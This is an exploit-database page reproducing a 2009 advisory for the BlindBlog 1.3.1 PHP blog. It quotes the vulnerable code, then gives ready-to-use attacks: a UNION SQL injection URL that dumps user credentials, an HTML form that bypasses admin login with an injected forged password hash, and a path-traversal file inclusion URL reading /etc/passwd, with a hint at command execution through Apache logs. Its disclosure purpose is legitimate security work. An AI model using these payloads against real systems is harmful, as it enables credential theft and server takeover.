header-logo
Suggest Exploit
vendor:
BlindBlog
by:
Salvatore 'drosophila' Fresta
8.8
CVSS
HIGH
SQL Injection, Authentication Bypass, Local File Inclusion
89, 287, 22
CWE
Product Name: BlindBlog
Affected Version From: 1.3.2001
Affected Version To: 1.3.2001
Patch Exists: YES
Related CWE: N/A
CPE: a:cbblog:blindblog
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

BlindBlog Vulnerabilities

All queries are vulnerable. This bug allows a guest to view username and the password of a registered user. Authentication Bypass bug allows an admin to bypass authentication using the previous bug. Local File Inclusion bug allow an admin to include local files.

Mitigation:

Ensure that magic_quotes_gpc is enabled and all user input is properly sanitized and validated.
Source

Exploit-DB raw data:

*******   Salvatore "drosophila" Fresta   *******

[+] Application: BlindBlog
[+] Version: 1.3.1
[+] Website: http://sourceforge.net/projects/cbblog/

[+] Bugs: [A] SQL Injection
         [B] Authentication Bypass
         [C] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 03 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: comment.php

All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.

$id = (isset($_GET['id']) && $_GET['id'] !='') ?  $_GET['id'] : getlastid();

       $SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
       $resulted = $db->query($SQL, $querys);
       while ($result = mysql_fetch_assoc($resulted))
               $comments[] = $result;


- [B] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin.login.php

       $username = $_POST['username'];
       $password = md5($_POST['password']);
       include('./db_config.php');
       $db = new db_stuff;
       $db->connect();
       $result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
       if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
       {
               echo "Incorrect username";
               exit;
       }
       $result = mysql_fetch_assoc($result);
       if ($result['password'] !== $password)
       {
               echo 'Incorrect Password';
               exit;
       }


- [C] Local File Inclusion

[-] Requisites: none
[-] File affected: admin.php

This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.

...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
       $loc = 'admin.'.$_GET['act'].'.php';
       include('./'.$loc);
}
...


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23


- [B] Authentication Bypass

<html>
       <head>
               <title>BlindBlog 1.3.1 Authentication Bypass Exploit</title>
       </head>
       <body>
               <form
action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST">
                       <input type="hidden" name="username" value="-1'
UNION ALL SELECT
1,'admin',MD5('expl')#">
                       <input type="hidden" name="password" value="expl">
                       <input type="submit" value="Exploit">
               </form>
       </body>
</html>


- [C] Local File Inclusion

Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php

http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd%00

# milw0rm.com [2009-03-03]